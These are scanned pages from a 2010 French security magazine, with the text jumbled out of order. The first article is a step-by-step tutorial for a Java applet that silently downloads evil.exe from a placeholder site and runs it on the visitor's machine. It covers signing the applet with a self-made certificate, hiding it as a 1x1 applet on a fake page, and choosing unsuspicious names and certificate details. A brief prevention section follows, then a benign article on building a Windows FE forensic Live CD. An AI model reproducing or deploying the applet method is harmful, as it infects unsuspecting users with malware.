import java.applet.Applet; import java.io.*; import java.net.URL; import java.net.URLConnection; import java.awt.*; import java.net.*; public class Evil extends Applet { public void start() { try { // On utilise le rpertoire des fichiers temporaires pour pouvoir fonctionner avec vista et seven String fileoot = System.getenv("TEMP"); // Le nom du fichier en local String fname = "\\evil.exe"; String efool = fileoot.concat(fname); BufferedOutputStream bufferedoutputstream = null; InputStream inputstream = null; // URL du fichier tlcharger

// Cration de evil.exe sur la machine bufferedoutputstream = new BufferedOutputStream(new FileOutputStream(efool)); // Tlchargement du fichier depuis l'URL donne plus haut // Copie du fichier de l'URL dans le fichier local

URL url = new URL("http://tonsite.net/evil.exe");

URLConnection urlconnection = url.openConnection();

byte abyte0[] = new byte[1024]; int i; for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i) bufferedoutputstream.write(abyte0, 0, i); try { if(inputstream != null) inputstream.close(); if(bufferedoutputstream != null) bufferedoutputstream.close(); } catch(IOException ioexception) { } // Excution du fichier Runtime runtime = Runtime.getRuntime(); try { Process process = runtime.exec(efool); process.waitFor(); BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(process.getInputStream())); } catch(Exception exception1) { } try { if(inputstream != null) inputstream.close(); if(bufferedoutputstream != null) bufferedoutputstream.close(); } catch(IOException ioexception1) { } } catch(Exception e) { } } public void main(String args[]) { start(); } }

inputstream = urlconnection.getInputStream();

44 HAKIN9 1/2010

JAVA
using System; {

namespace hello_world class Program { static void Main (string[] args) {

Console.WriteLine

("Hello world !"); }

Console.ReadLine();

Compilez sous evil.exe et uploadez le sur un site internet. Nous allons maintenant passer la partie Java.

Figure 5. Exemple de fonctionnement sur une fausse page aux couleurs de msn.

Code source d'une applet malveillante


Tout d'abord le code java.

Explication et personnalisation du code source

URL("http://tonsite.net/evil.exe");

Cette application en java va tlcharger dans le dossier temporaire du PC de la victime le fichier evil.exe depuis l'URL mise dans url = puis va l'excuter. Remplacez l'URL dans url = new par votre URL. Remplacez le nom du fichier de destination ici :

String fname = "\evil.exe";

Figure 6. Excution du Hello World. Si vous n'avez pas encore le SDK java vous pouvez le tlcharger ici : http://java.sun.com/javase/6/download.jsp Ouvrez une fentre CMD (en mode administrateur si vous tes sous Vista ou 7). Naviguez vers le rpertoire ou se trouve le SDK (chez moi : jdk1.6.0_16) : cd C:\Program Files\Java\ jdk1.6.0_16\bin. Collez dans \bin le fichier Evil.java. Dans l'invite de commande tapez :
javac Evil.java

Copiez et enregistrez sous Evil.java Vous pouvez modifier le nom de l'applet pour le rendre moins suspicieux, pour cela vous devez renommer :
public class Evil extends Applet en public class cequetuveux extends Applet

et enregistrer sous cequetuveux.java Pour la suite du tutoriel je vais garder le nom Evil.

Compilation de l'application

Maintenant que l'on a le Evil.java il va falloir le compiler.

Un fichier Evil.class viens normalement d'tre cr dans le rpertoire \bin.

Figure 7.
1/2010 HAKIN9 45

ATTAQUE
Il faut maintenant compiler la class en fichier .jar avec la commande suivante :
jar cf Evil.jar Evil.class.

Ensuite on valide notre certificat :


keytool -selfcert -keystore moncert -alias me

http://fr.wikipedia.org/wiki/Applet_java dfinition et dscription des applets Java.

Sur Internet

Vous avez maintenant un fichier Evil.jar

Cration d'un certificat

Voila notre certificat est prt, on doit maintenant l'assigner notre applet :
jarsigner keystore moncert Evil.jar me

Votre applet est prt il ne reste plus qu' le signer avec un certificat. Le certificat sera valide 6 mois. Nous allons utiliser l'outil "keytool" prsent dans le dossier \bin pour signer notre applet. Dans l'invite de commande tapez :
keytool -genkey keystore moncert alias me

Installation de l'applet sur une page web :

La dernire tape est l'insertion du code qui excutera notre applet sur une page web. Vous uploadez les fichiers Evil.class et Evil.jar sur votre site puis un fichier php qui contient :
<applet width='1' height='1' </applet>

Rpondez aux questions, retenez bien votre mot de passe pour la cl car il vous sera demand par la suite. Prnom / nom, Unit organisationnelle, Nom de votre organisation, Ville de rsidence, tat ou Province, Code pays 2 lettres. Pour les informations requises essayez de mettre des donnes qui n'attire pas l'attention.

code='Evil.class' archive='Evil.jar'>

Voil votre applet prt fonctionner. Une fois le bouton Excuter cliqu, evil.exe se tlcharge dans le rpertoire TEMP de votre ordinateur et s'excute.

de malware via une simple applet Java. Il convient donc d'tre trs prudent lorsqu'on nous propose l'installation d'un plugin java, mme si vous fates confiance au site, car il a peut tre t modifi par une personne malveillante. Pour scuriser votre navigation vous pouvez dsactiver les plugin Java ou encore les filtrer. Avec Internet explorer la procdure est la suivante : choisissez le menu Outils/Tools, la rubrique Options Internet/ Internet Options, l'onglet Scurit/Security et finalement Personnaliser le niveau/ Custom Level. Faites dfiler les choix jusqu' Script/ Scripting, puis dsactivez Active Scripting et Script des applets Java/Scripting of Java Applets.

Pour Netscape

Comme on peut le voir, n'importe quel site peut-tre utilis des fins de transmission

Prvention contre ce type d'infection

Choisissez le menu dition/Edit , la rubrique Prfrences/Preferences et l'onglet Avanc/Advanced. Il suffit alors de dsactiver Activer Java/Enable Java et Activer JavaScript/Enable JavaScript.

Pour Firefox

Dans le menu Outils / Options / Contenu dcochez Activer Java et Activer JavaScript. Il existe un add-on pour Mozilla Firefox qui permet de filtrer ou dsactiver les pugins Java, Javascript ou encore ActiveX lors de la navigation, il est disponible ici : http://extensions. geckozone.org/noscript

Si vous ne dsactivez pas les scripts Java, vous de faire attention ne pas autoriser les scripts de sites douteux ou signs par des entreprises mconnues. Ces applets Java peuvent-tre partout donc soyez vigilants. propos de l'auteur

Conclusion

Figure 8.
46 HAKIN9 1/2010

Auteur : Christophe B. aka t0fx Pays : France Administrateur du site http://www.europasecurity.org/ Rdacteur occasionnel chez ZATAZ.COM Journal Autodidacte en informatique / scurit / programmation Vous pouvez le contacter par mail : t0fxxx@gmail.com.

JAVA

1/2010 HAKIN9

47

MARC REMMERT

PRATIQUE Windows FE Live CD

Degr de difficult

d'investigation informatique Windows-PE


Au cours de l'anne 2008, des rumeurs ont circul sur la distribution d'un Live CD Microsoft Windows FE. Sur Internet tous les types de sujets taient abords dont celui de la scurit et de l'investigation informatique, pourtant ce CD Windows n'a pas connu un franc succs.

roy Larson, est un investigateur informatique senior qui travaille au sein du groupe de scurit de Microsoft. C'est le premier avoir apport des modifications Windows PE pour ladapter au domaine des investigations informatique lgales. Ce systme d'exploitation est appel Windows FE, ce qui signifie littralement environnement d'investigation informatique (Forensic Environment). Windows est largement utilis comme systme d'exploitation par presque toutes les suites logicielles en investigation informatique, toutefois il n'a jamais t utilis comme systme de base sur un Live CD. Dans le cadre de cet article, vous verrez comment crer votre propre Live CD tournant sous Windows.

CET ARTICLE EXPLIQUE...


Comment crer un Live CD tournant sous Windows Vista pour l'investigation informatique et comment ajouter des programmes spcifiques ce domaine

Introduction l'investigation informatique lgale

CE QU'IL FAUT SAVOIR...


Vous devez avoir des connaissances de base des systmes d'exploitation Windows et dans l'investigation informatique lgale 48 HAKIN9 1/2010

L'investigation informatique lgale est la transposition du travail d'enqute au monde informatique. Cette branche de l'informatique est ne suite l'augmentation du crime au cours de ces vingt dernires annes. Dans les annes 80, plusieurs agences gouvernementales ont estim que certains cas judiciaires ncessitaient des examens approfondis des systmes informatiques. Par exemple, en 1988 l'office fdral de police criminelle allemande a cr une unit spcialise pour les crimes informatique. Les tats-Unis ont dbut quelques annes plus

tt. En 1984, le FBI a fond le Magnetic Media Program, plus connu sous le nom de Computer Analysis and Response Team (CART). Tout comme la criminalistique, le domaine de l'investigation informatique cherche recueillir ou rvler des traces de crimes en vue de les prsenter devant une cour de justice. Le processus d'investigation ne doit en aucun cas compromettre les lments de preuve. La loi de Loccards s'applique aussi au domaine de l'investigation informatique lgale. Cette loi stipule que toute interaction avec une preuve conduit un change d'une ou plusieurs substance(s), en d'autres termes, l'analyse de la preuve peut tre altre. Dans la criminalistique, le risque d'altration est minimis grce l'utilisation de gants et de masques striles. Dans le domaine de l'investigation informatique lgale l'utilisation de copies de disques (au bit prs), permet galement de rduire les risques d'altration des preuves. Dans la plupart des cas, les disques incrimins seront rcuprs puis analyss dans un laboratoire quip avec du matriel et des logiciels spcialiss. Il convient de signaler que nous observons un changement d'attitude depuis ces dernires annes - l'analyse du ou des disque(s) dur d'un suspect va de paire avec l'analyse de la mmoire vive de l'ordinateur. Toutefois, le processus consistant recueillir les donnes de la mmoire RAM modifie l'tat mme du systme d'exploitation au risque d'altrer certaines preuves.

WINDOWS FE
CD en investigation informatique se rvle indispensable pour les systmes HS. C'est ce thme que je vais aborder dans le prsent article. Dans les cas mentionns ci-dessus, l'utilisation d'un Live CD peut grandement faciliter la recherche de preuves numriques. Je n'aborderai pas les avantages et les inconvnients lis l'utilisation d'un priphrique USB sur un systme compromis, comme cela se fait avec Microsoft COFFEE. Nous savons tous que ce type d'opration peut provoquer des modifications dans le registre - dans une entre d'un priphrique USB ; tous les programmes en cours sont enregistrs et modifient le contenu de la mmoire RAM du systme. Il en est de mme pour les programmes excuts partir d'un Live CD. Dmarrer depuis un Live CD sur un systme hors-service n'affecte en rien celui-ci toutefois, ces CD doivent rpondre aux exigences suivantes :

Figure 1. Installation WAIK


Par ailleurs, l'analyse de la mmoire RAM et l'interprtation des donnes rcupres fait encore l'objet de recherches. Des changements significatifs sont apports chaque parution d'une nouvelle version d'un systme d'exploitation. Dans le cadre de cet article je vais m'intresser l'analyse traditionnelle de la mmoire morte l'examen du contenu des disques durs d'un systme hors-service. Sur la base de mon exprience professionnelle, ces systmes constituent toujours la majorit des lments de preuve. Bien videmment, tout dpend de votre champ d'expertise...

Il peut arriver dans certains cas d'investigations qu'il soit impossible voire trs dommageable de retirer un ou plusieurs disque(s) dur du PC examin. Par exemple, imaginez un systme o des scells rompus annulent automatiquement la garantie ou bien, un serveur RAID qui fait une image de chaque disque. Il faudrait reproduire en laboratoire l'ensemble de ces zones de donnes, cela peut demander beaucoup de temps. On peut imaginer plein d'autres cas o l'utilisation d'un Live

Utilit d'un Live CD d'investigation informatique lgale

Figure 2. Rpertoire PE
1/2010 HAKIN9 49

PRATIQUE
certains contrleurs RAID (par exemple ceux fabriqus par Dell ou HighPoint), des cartes vido (en particulier ceux intgrs la carte mre) et certaines fonctions ACPI intgres aux cartes mres. L'utilisation d'un Live CD Windows a galement d'autres avantages. La plupart des analyses lgales sont effectues avec des outils complets, par exemple EnCase, Forensic Tool Kit ou X-Ways. Je peux donc ajouter ces outils et profiter de leurs possibilits de pointer-cliquer). Dans Windows XP / Windows Server 2003, et les autres versions de Windows il n'existait pas d'option permettant l'accs aux disques en lecture seule (sauf les entres de registre pour les priphriques USB). Naturellement, cette perspective interdit l'utilisation de Windows en tant que CD de dmarrage dans le cadre d'investigations informatiques. De ce fait, Bart PE est totalement inadapt aux recherches lgales ! Avec l'apparition de Windows Vista / Server 2008, Microsoft s'est rendu compte que cette fonction tait uniquement disponible pour les systmes Linux / UNIX. C'est ce qui a permis l'essor des Live CD Windows pour l'investigation informatique lgale. Windows FE n'est autre qu'une version simplifie et adapte de Windows PE bas sur Vista. Il ne diffre que par deux modifications du registre et des outils propres l'investigation informatique. Nous utiliserons dans le cadre de cet article les services Partition Manager et

Figure 3. Monter le fichier image PE avec GimageX


ils ne doivent pas altrer le/les disque(s) du systme (tout accs en criture est strictement interdit) ; la cration de copies lgales sur d'autres supports doit tre possible. fonctions sans aide extrieure tout en comprenant le pourquoi et le comment des choses.

Jusqu' prsent, seuls les Live CD Linux et UNIX (ex : HELIX ou SPADA) autorisaient le montage de priphriques en mode Lecture seule. Non seulement cette fonctionnalit est fiable mais elle est galement prsente dans le noyau des systmes d'exploitation. En outre, Linux et UNIX disposent de nombreux programmes pour la copie et l'analyse des disques et des systmes. La seule exception connue est SAFE de ForensicSoft Inc., (www.forensicsoft.com). Ce logiciel est disponible en version commerciale et sappuie sur un systme Windows modifi avec une interface graphique spcifique. D'aprs l'diteur il s'agit d'un logiciel destin l'investigation informatique lgale mais personnellement je n'ai toujours pas russi savoir comment ? Certaines documentations comprennent un logiciel d'criture/bloqueur similaire celui vendu sparment dans SAFE Block XP. J'estime que n'importe quel logiciel d'investigation informatique doit permettre l'utilisateur, donc vous, de valider des
50 HAKIN9 1/2010

Le principal avantage avec un Live CD Windows c'est le support ; mme lorsqu'il s'agit de matriel restreint et peu connu du grand public. Le support Linux est limit

L'avantage du Live CD Windows

Figure 4. Modification du registre

WINDOWS FE
L'ensemble du sous-rpertoire peut tre copi sans difficult sur un autre systme Windows. Il suffit de disposer du rpertoire racine ainsi que des outils de dploiement qui ont t installs (et en tat de fonctionner) pour prparer le Live CD Windows FE. Notre rpertoire dispose dsormais de fichiers spcifiques et d'un fichier image du systme Windows. Gnralement les fichiers image de Microsoft sont dans un format spcifique - le format WIM (fichiers avec l'extension *.wim). Pour le modifier (afin de copier nos outils et modifier le registre), l'image CD doit tre monte. Rappelez-vous que nous sommes toujours dans l'invite de commande PE Tools. La commande imagex.exe /

Figure 5.
Mount Manager. Voici la dfinition de ces services selon Microsoft : Mount Manager effectue, entre autres, le montage de nouveaux lecteurs au sein d'un mme systme. En modifiant la cl de registre NoAutoMount le montage automatique peut tre dsactiv (Off). Partition Manager agit de manire similaire il permet le montage de rseaux de stockage SAN sur un systme. En modifiant la cl de registre SAN Policy la connexion et la manire dont les disques sont connects entre eux est change. Afin de raliser une copie lgale du systme, il faut monter manuellement le lecteur cible en mode Lecture/criture avec le programme diskpart . (Voir Figure 1). Aps avoir lanc l'invite de commandes PE Tools, une fentre DOS s'affiche malheureusement il n'existe pas d'interface graphique.

mountrw d:\FE-CD\winpe.wim 1 d:

\mounted-CD permet de monter l'image

Dans un premier temps, nous devons crer le rpertoire de base avec tous les fichiers PE Tools s'affiche, il faut taper :
copype.cmd x86 d:\FE-CD

tape 1 : Cration du systme de base

CD (pour tre plus prcis, la premire partition du fichier imahe) dans le rpertoire D:\mounted-CD avec accs en lecture/criture. Vous pouvez galement utiliser un logiciel avec une interface graphique conviviale appel GImageX, disponible sur www.autoitscript.com/ gimagex/. (Voir Figure 3).

Tous les fichiers ncessaires Windows PE (architecture x86) sont copis dans le rpertoire FE-CD sur le lecteur D:\. (Voir Figure 2).

La prochaine tape consiste effectuer les modifications ncessaires dans le registre afin que le montage des divers lecteurs ne soit pas automatique. Comme mentionn auparavant, il n'y a que les deux cls de registre Partition Manager et Mount Manager qui

tape 2 : Modifier le registre

Nous nous approchons de la cration du Live CD Windows...

Vous devez disposer d'un PC tournant sous Windows Vista (ou Server 2008). Windows 7 devrait marcher, mme si je n'ai pas eu l'occasion de le tester. Il faut galement installer le kit d'installation automatise (AIK) pour Windows Vista / Server 2008. Pour de plus amples informations sur le tlchargement du kit, consultez le site Web de Microsoft. Aprs avoir install le kit AIK un nouvel lment s'ajoute au menu et permet d'ouvrir l'invite de commande PE Tools.

Figure 6. Entre registe de partmgr


1/2010 HAKIN9 51

PRATIQUE
Pour pouvoir l'utiliser, nous devons ajouter quelques outils bien pratiques. Important : Windows PE dispose d'une structure systme simplifie, qui ne permet pas d'installer les programmes de la mme manire que d'autres systmes. Par consquent, nous utiliserons des programmes qui n'ont pas besoin d'tre installs. En fonction du programme, des librairies supplmentaires peuvent tre trouves dans le rpertoire principal ou peuvent tre copies dans le rpertoire system32.

Outils recommands
Les outils suivants sont disponibles gratuitement, dans le cadre d'un usage personnel. Les droits d'auteur lis aux logiciels ne nous permettent pas de les inclure au CD d'accompagnement. Les techniques ainsi que les entreprises ou personnes dcrites dans le prsent article sont purement titre d'illustration. AccessData FTK Imager (www. accessdata.com/downloads/current_ releases/imager/imager_2.5.4_lite.zip) Note : L'archive dispose de plusieurs fichiers *.dll, il faut copier le fichier oledlg.dll dans le rpertoire FE windows\ system32\ pour que le programme d'imagerie fonctionne correctement. (Voir Figure 7)

Figure 7. Excuter FTK sous Windows FE


permettent de distinguer un CD FE et un CD PE ! Pour ce faire, je clique sur Dmarrer puis Excuter et je tape regedit. On peut ajouter une autre structure partir de HKEY LOCAL MACHINE (HKLM) grce la fonction Load Hive. La structure arborescente du registre de Windows PE peut tre ajoute partir du chemin d'accs D:\mounted-CD\windows\ system32\config\SYSTEM. Il faut ensuite l'ajouter et la nommer par exemple FE. (Voir Figure 4). Ouvrons le chemin d'accs \FE\ CurrentControlSet001\Services\MountMgr\. Nous modifions la valeur DWord NoAutoMount en remplaant 0 par 1. Vous pouvez crer ce DWord s'il n'existe pas. Evidemment, tout dpend de votre systme (Vista, Server ou Windows 7) et de la version du Kit d'installation automatise qui a t utilis. (Voir Figure 5). La prochaine tape consiste modifier la valeur DWord de SanPolicy de la cl Partition Manager. La cl SanPolicy se trouve dans \FE \CurrentControlSet001\Services\ partmgr. Comme mentionn dans le passage prcdent, tout dpend si la cl et DWord existent. Crez cette entre, si ncessaire. Pour ce faire, nous crons une nouvelle cl Parameters, et un DWord SanPolicy. Le DWord SanPolicy doit avoir la valeur 3. (Voir Figure 6).
52 HAKIN9 1/2010

C'est tout ! Pour terminer nous devons supprimer la structure et effectuer une sauvegarde des modifications. Il est essentiel de monter l'image CD pour les prochaines tapes.

tape 3 : Ajouter des outils d'investigation informatique


Jusqu' prsent nous avons seulement cr la structure de base du Live CD.

Figure 8. TestDisk & Windows FE

WINDOWS FE
et System Report avec lequel vous pouvez crer des extraits de registre systme, et des descriptions compltes. Historian (du mme auteur) permet d'analyser des fichiers d'historique propres Internet Explorer, Firefox et Opera. (Voir Figure 9) Un autre site vivement recommand est MiTeC de Michal Mutl (www.mitec.cz). Un bon package utiliser sous Windows FE est Windows File Analyzer. Ce programme dispose d'un analyseur d'images pour BDD, un analyseur de prchargement des donnes, un analyseur de raccourcis, un analyseur Index.dat et un analyseur de corbeille (plutt intressant). En principe, n'importe quel programme autonome fonctionne dans un environnement Windows FE. La plupart des packages d'installation U3 peuvent tre utiliss sachant qu'ils contiennent des excutables et toutes les librairies ncessaires. Toutefois, vos propres tests de validation sont indispensables afin de connatre les exigences particulires d'un programme. Pour savoir quelles librairies sont ncessaires pour un programme, je vous recommande d'utiliser Dependency Walker (www.dependencywalker.com).

Figure 9. Prise en main de RegistryReport sous Windows FE


ProDiscover Basic (www.toorcon. techpathways.com/uploads/Pro DiscoverBasicU3.zip) Note : L'archive peut tre dcompresse lorsque l'extension .u3 est remplace par .zip. Le rpertoire dispose de toutes les librairies ncessaires ainsi que des fichiers excutables. L'ensemble peut tre copi dans le rpertoire principal de Windows FE Forensic Acquisition Utilities par George M. Garner Jr. (http:// gmgsystemsinc.com/fau) regorge d'outils UNIX classiques comme dd, nc (netcat) et une implmentation de wipe pour supprimer certaines donnes TestDisk par Christophe Grenier (www.cgsecurity.org/wiki/TestDisk). Le site Web de Werner Rumpeltesz, (http:// www.gaijin.at) vaut le dtour ! Il existe galement d'autres outils intressants, tels que Registry Report , Registry Viewer

Lorsque les modifications ont t apportes au registre et les programmes

tape 4 : Crer un Live CD bootable

Figure 10. Dmonter les images FE avec GimageX


1/2010 HAKIN9 53

PRATIQUE
copis, nous pouvons crer l'image CD. Dans PE Tools nous pouvons taper la commande :
imagex.exe /unmount /commit d:\mounted-CD

L'option /commit indique ImageX d'enregistrer toutes les modifications apportes au fichier image mont. Si vous utilisez CImageX pour monter le fichier, il faut cocher l'option Commit Changes puis cliquer Unmount . (Voir Figure 10). Nous pouvons changer le fichier .wim afin d'obtenir un fichier image ncessaire au boot sur CD. Pour ce faire, utilisez le programme oscdimg qui figure dans les outils de dploiement. Ce programme fonctionne avec la structure du rpertoire gnr par le script copype.cmd. Le fichier image pour le CD se trouve dans

le rpertoire ISO\Sources et est nomm boot.wim. Il faut renommer winpe.wim en boot.wim puis le mettre dans le rpertoire ISO\Sources. Il existe dj une copie de sauvegarde pour le fichier boot.wim qui peut tre remplace. Le fichier bootfix.bin doit tre supprim du rpertoire ISO\boot\. Ce fichier permet d'initier un dcompte de 10 secondes avant la squence de dmarrage sur CD. Vous tes invit appuyer sur une touche pour dmarrer ou non partir du CD. Ce compte rebours peut tre fatal si vous le manquez, le systme dmarrera partir du lecteur ce qui peut entraner des erreurs critiques. A partir de l'invite de commandes PE Tools nous initions la conversion. L'option -b permet de choisir le secteur de dmarrage (pour obtenir un CD bootable), suivi du chemin d'accs du rpertoire source o se trouve le fichier

boot.wim. Finalement, nous avons le chemin d'accs o sera crit le fichier ISO. L'option -n permet d'avoir des noms de fichier longs et -o permet de compresser le fichier. (Voir Figure 11) Notez que le fichier ISO est comprend un fichier boot.wim d'une taille comprise entre 170 - 200 Mo et un fichier de chargement. Le fichier boot.wim contient une partition NTFS dans le rpertoire systme. Lorsqu'on boot du CD, ce rpertoire systme sera copi sur la mmoire RAM avec une taille de 256Mo. Cette mmoire nous permettra d'utiliser de dmarrer sur le lecteur par dfaut. Windows FE dmarre uniquement sur les systmes ayant au minimum 512Mo de mmoire RAM 256Mo de mmoire + 256Mo pour l'excution. La RAM est affiche aprs la lettre du lecteur X:\.

Pour tester, nous pouvons dmarrer sur une image ISO grce aux programmes de virtualisation telles que Virtual PC de Microsoft ou Virtual Box en freeware. Windows FE doit dmarrer et une fentre semblable au mode DOS s'affiche l'cran avec en arrire-plan Windows Vista. L'ensemble constitue notre environnement de travail. (Voir Figure 12) Si le test se rvle positif, nous pouvons graver le fichier ISO sur un CD-R (par exemple avec la fonction Burn Image to Disk du logiciel Nero Burning ROM ). L'heure est venue de tester notre CD sur un systme fonctionnel !

tape 5 : Test des images CD et cration d'un CD

Figure 11. Crer le fichier ISO


54 HAKIN9 1/2010

Au cours de la premire tape du test de Windows FE, notre environnement de travail se basait sur une fentre DOS au sein d'un environnement graphique. Bien que vous puissiez utiliser la souris, il n'existe pas d'icnes pour excuter des programmes. Toutes les commandes doivent tre saisies au clavier. Pour dbuter, le mieux est encore d'afficher le contenu du systme Windows grce la commande dir. Nous tapons ensuite deux fois la commande dir... Pour accder au rpertoire racine X:\. De cet emplacement, nous pouvons accder

Utiliser Windows FE

tudiants un abonnement en prix unique destin vous !

35

30

Envoyez nous votre document dtudiant scann et notre bon dabonnement, vous recevrez vos magazines juste votre domicile ! Rejouissez-vous de votre jeunesse et sautez sur loccasion!

6 numros pour un prix unique !


1 Coordonnes postales : 2 Nom : Prnom : Adresse :

Je souhaite mabonner au magazine Hakin9


Je rgle par :

Carte bancaire n CB expire le code CVC/CVV date et signature obligatoires type de carte ........................................................................................................

Code postal : Ville : Pays :

Virement bancaire : Nom banque : Socit Gnrale Chasse/Rhne banque guichet numro de compte cl 30003 01353 00028010183 90 IBAN : FR76 30003 01353 00028010183 90 Adresse Swift (Code BIC) : SOGEFRPP
Date et signature

1/2010 HAKIN9

55

PRATIQUE
uniquement sur un lecteur cible. (Voir Figure 13).

Connexion rseau

Pour utiliser notre systme dans un rseau sans utiliser le DHCP, on peut rajouter manuellement les adresses IP :
netsh int ip set address local

static 192.168.0.123 255.255.255.0

Pour teindre ou redmarrer notre systme il suffit d'arrter le systme. Bien videmment, il est plus lgant d'utiliser le programme wpeutil. La commande wpeutil reboot permet de redmarrer le systme, alors que la commande wpeutil shutdown l'teint.

Redmarrage & Arrt

Figure 12. Dmarrer sous Windows FE d'autres rpertoires et des programmes additionnels. Il serait intressant de savoir quels sont les autres lecteurs connects au systme. Pour le moment, notre lecteur X:\ est simplement une zone mmoire, pas un lecteur physique. partition et attributes volume clear readonly on peut configurer une partition en mode lecture/criture. Pour avoir accs, on doit assigner la lettre d'un lecteur notre partition (soit D) avec la commande : assign letter=D. Il doit tre expressment indiqu qu'en consquence, le systme d'exploitation va crire des donnes sur le disque dur. De prfrence, tapez ces commandes

Afficher des informations sur les lecteurs de disque

Nous utilisons le programme diskpart pour afficher les lecteurs identifis par le systme. A l'invite de commande nous tapons diskpart . On obtient une nouvelle invite de commande : DISKPART>. Avec la commande list disk on peut afficher tous les lecteurs rescan pour qu'il soit affich dans la liste.

Un Live CD d'investigation informatique entre les mains d'un administrateur expriment permet de rcuprer des incidents systmes tout en effectuant des sauvegardes pour une ventuelle restauration. Si les outils mentionns cidessus sont utiliss de manire approprie sur les systmes endommags, un administrateur peut effectuer une premire valuation pour savoir s'il faut mener ou non une investigation plus pousse.

Validation de l'investigation informatique lgale

Pour crer une sauvegarde, nous devons disposer des permissions en criture sur le support cible. On recherche l'ID du lecteur avec la commande list disk (soit 1), et on le slectionne avec select disk 1. La commande attributes disk clear readonly permet de supprimer l'attribut read only sur le disque en question. L'tape suivante consiste dbloquer la partition cible. Avec la commande list volumes on peut lister toutes les partitions disponibles sur notre disque. Avec la commande select volum e suivi du numro de la
56 HAKIN9 1/2010

Monter des lecteurs avec accs en lecture/criture

Figure 13. Le logiciel Diskpart en action

WINDOWS FE
mais nous nous retrouvons dans une situation fcheuse o certaines pices ont t altres. Ceci peut tre un vritable problme dans le cadre d'une prsentation devant une cour de justice o l'accus peut demander lgitimement Vous pouvez le prouver ? Ou pire : Si ces donnes ont t altres, en est-il de mme pour toutes les preuves ? A ce stade il est prfrable d'effectuer un test approfondi avec Windows FE pour comprendre les mcanismes en jeu.

Scnarios tests et rsultats

Figure 14. Les valeurs de hash du disque NTFS avant montage avec diskpart Avant d'utiliser notre CD en cas rel, nous devons le tester pour voir s'il convient. En clair, notre CD doit autoriser tout accs en criture mais ne doit pas rendre possible l'criture sur disque pendant la squence de dmarrage. L'accs en criture doit tre possible uniquement sur les disques monts. Une procdure communment employe, consiste calculer le checksum d'un systme de test avant et aprs dmarrage sur CD. Nous utilisons l'effet avalanche des algorithmes checksum comme md5 ou sha1. L'effet avalanche signifie qu'en changeant un seul bit, le checksum est modifi. Les quelques cas pouvant causer des problmes sous Windows FE, sont en gnral les signatures de disque l'initialisation du systme. Les signatures de disque sont utilises par Windows pour identifier de manire unique un disque, quelle que soit la lettre de lecteur affecte. La signature est une entre de quatre octets entry qui se trouve sur le Master Boot Record (MBR - Secteur d'amorage principal) l'adresse 0x01B8. L'accs en lecture est possible avec DumpCfg partir du Kit de ressources Windows. Si Windows FE autorise les signatures de disque automatiquement alors on va se retrouver en difficult. Pour mieux comprendre les problmes possibles, nous devons rsumer les lments qui permettent de dire qu'un bit est identique ainsi qu'une copie d'expertise informatique. La valeur d'un hash permet de dire si une copie est ou non identique bit par bit. Si deux valeurs hash sont diffrentes, l'utilisateur est inform qu'il y a une diffrence mais sans plus. En aucun, nous ne pouvons savoir prcisment ce qui est diffrent lorsqu'il y a eu une modification ou comment cette modification a t opre. Si Windows FE effectue une signature de disque alors y aurait uniquement quatre octets modifis. Dans tous les cas, la valeur hash du disque est change. Troy Larson a dj publi des articles sur ce problme relatif Windows FE et les signatures de disque sur des lecteurs diffrents de Windows (tout disque non sign). Selon lui "Il s'agit d'un comportement connu, spcifique Windows, qui est prvisible. Cette prvisibilit permet un expert en investigation informatique de connatre l'avance les comportements du systme et d'en expliquer les causes." En outre, j'ai trouv un commentaire sur DC1743 (l'auteur de forensicsfromthesa usagefactory.blogspot.com) qui indique que non seulement FE (autrement dit diskpart) crit une signature disque mais laisse galement un octet en lecture seule. Si cette hypothse est vraie, alors nous aurions deux modifications apportes nos preuves. Certes nous savons pourquoi et o nos lments de preuve ont t modifis,

L'objectif de ces tests est de montrer comment Windows FE gre diffrents types de disques durs. Nous testerons si et comment FE crit aux types de lecteurs suivants : Disque 1 - un disque NTFS (bootable avec Windows XP Home), Disque 2 - un disque avec un systme Linux ext2, Disque 3 - un disque vierge (rempli de zros).

Dans un premier temps il faut calculer les checksums md5 des trois disques avant de dmarrer avec FE. Puis nous calculons les checksums du disque sous environnement FE (soit celui avec FTK-Imager) avant et aprs que les disques aient t monts avec diskpart . Les tests ont t mens sur un vieux systme avec un pentium III disposant d'un contrleur U160-SCSI. Les disques SCSI ont une taille respective de 9Go et 18Go. Le checksum md5 comporte 32 valeurs hexadcimales. Pour faciliter la lecture, j'ai abrg les checksums en ne faisant figurer que les quatre premires et quatre dernires valeurs hexadcimales. Checksums avant dmarrage sous FE Les valeurs hash ont t calcules sous Linux avec md5sum : (Voir Figure 14)
Disk 1 had d527 [] a932, Disk 3 e4cb [] 74ad.

Disk 2 9f36 [] 38af and

Checksums aprs dmarrage sous FE Les checksums ont t calculs avec FTK-Imager :
1/2010 HAKIN9 57

PRATIQUE
Disk 1 had d527 [] a932, Disk 3 e4cb [] 74ad. Disk 2 9f36 [] 38af and

Checksums aprs montage avec diskpart et ajustement du volume en mode lecture/ criture Disque 1 Montage et configuration du mode lecture/criture des deux disques, le volume est valide and le checksum possde la valeur 0988 [] 462a !! (Voir Figure 15) Disque 2 diskpart Select Disk affiche le message d'erreur Disk not initialized, diskpart attributes disk clear readonly ; le checksum n'est pas modifi. Disque 3 rsultats semblables avec le disque ext2 checksum inchang. Checksums obtenus Les checksums ont t calculs aprs redmarrage sous un systme Linux. Ceci a permis de vrifier l'exactitude des checksums avec FTK-Imager. Pour le Disque 1 les nouveaux checksums sont 0988 [] 462a, tandis qu'avec le Disque 2 et 3 les valeurs d'origine sont conserves.

Comme prvu, Windows FE a crit sur le disque NTFS mont en lecture/criture. Pour vrifier les modifications apportes au disque NTFS j'ai compar l'image d'origine du disque dur avec celle modifie du disque. J'ai utilis WinHex

Analyse du disque NTFS format

